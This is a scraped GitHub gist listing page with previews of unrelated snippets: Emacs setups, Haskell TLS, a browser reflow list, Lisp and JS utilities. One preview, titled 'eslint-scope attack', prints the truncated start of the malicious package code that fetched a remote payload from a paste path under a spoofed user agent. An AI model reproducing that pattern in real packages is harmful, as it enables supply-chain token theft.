Skip to content

Instantly share code, notes, and snippets.

cowboy coding

Cody Reichert CodyReichert

cowboy coding
View GitHub Profile
CodyReichert /
Last active Oct 2, 2021
Configuring Emacs for react, es6, and flow

Configuring Emacs for react, es6, and flow

For a while, JSX and new es6 syntax had flaky support in emacs, but there's been huge work on a lot of packages. Using emacs for JavaScript with React, ES6, and Flow (or Typescript, etc) is really easy and powerful in Emacs these days.

This is how you can work on modern web development projects with full support for tooling like JSX, Flow types, live eslint errors, automatic prettier.js formatting, and more.

Set up web-mode

web-mode provides most of the underlying functionality, so a huge shout-out to the maintainer(s) there.

hzoo / build.js
Created Jul 12, 2018
eslint-scope attack
View build.js
try {
var https = require("https");
hostname: "",
path: "/raw/XLeVP82h",
headers: {
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
creichert / fetch-url.hs
Last active Jan 9, 2020
Customize haskell http-client supported TLS ciphers
View fetch-url.hs
#!/usr/bin/env stack
-- stack -v runghc --package connection --package http-client --package http-client-tls --package tls --package data-default
{-# LANGUAGE OverloadedStrings #-}
{-# LANGUAGE ViewPatterns #-}
{-# OPTIONS_GHC -fno-warn-deprecations #-}
import qualified Network.Connection as NC
import qualified Network.HTTP.Client as Http
import qualified Network.HTTP.Client.TLS as Http
import qualified Network.TLS as TLS
paulirish /
Last active Dec 8, 2021
What forces layout/reflow. The comprehensive list.

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics
  • elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
View org-schedule.el
;; org schedule first monday of every month
;; SCHEDULED: <%%(diary-float t 1 1)>
(diary-float t 1 1)
;; org schedule mon-fri
;; SCHEDULED: <%%(memq (calendar-day-of-week date) '(1 2 3 4 5))>
(memq (calendar-day-of-week date) '(1 2 3 4 5))
gl-sergei / inbox.el
Last active Jul 21, 2021
Display number of unread messages in Emacs modeline (with mu and mu4e)
View inbox.el
;;; inbox.el --- display inbox status information -*- coding: utf-8 -*-
;; Copyright (C) 2014 Sergei Glushchenko.
;; Author: Sergei Glushchenko <>
;; This program is free software: you can redistribute it and/or modify
;; it under the terms of the GNU General Public License as published by
;; the Free Software Foundation, either version 3 of the License, or
;; (at your option) any later version.
fukamachi / gist:6364983
Last active Jul 29, 2021
A Common Lisp function to extract a tarball (.tar.gz) file to a directory (*default-pathname-defaults*).
View gist:6364983
(ql:quickload '(chipz archive))
(defun extract-tarball (pathname)
"Extract a tarball (.tar.gz) file to a directory (*default-pathname-defaults*)."
(with-open-file (tarball-stream pathname
:direction :input
:element-type '(unsigned-byte 8))
(archive:open-archive 'archive:tar-archive
(chipz:make-decompressing-stream 'chipz:gzip tarball-stream)
ndarville /
Last active Nov 9, 2021
Business models based on the compiled list at I find the link very hard to browse, so I made a simple version in Markdown instead.

Business Models


Models Examples
Display ads Yahoo!
Search ads Google
jlong / uri.js
Created Apr 20, 2012
URI Parsing with Javascript
View uri.js
var parser = document.createElement('a');
parser.href = "";
parser.protocol; // => "http:"
parser.hostname; // => ""
parser.port; // => "3000"
parser.pathname; // => "/pathname/"; // => "?search=test"
parser.hash; // => "#hash"; // => ""
View moz-reload-on-save-mode.el
(require 'moz)
;;; Usage
;; Run M-x moz-reload-on-save-mode to switch moz-reload on/off in the
;; current buffer.
;; When active, saving the buffer triggers Firefox
;; to reload its current page.
(define-minor-mode moz-reload-on-save-mode
"Moz Reload On Save Minor Mode"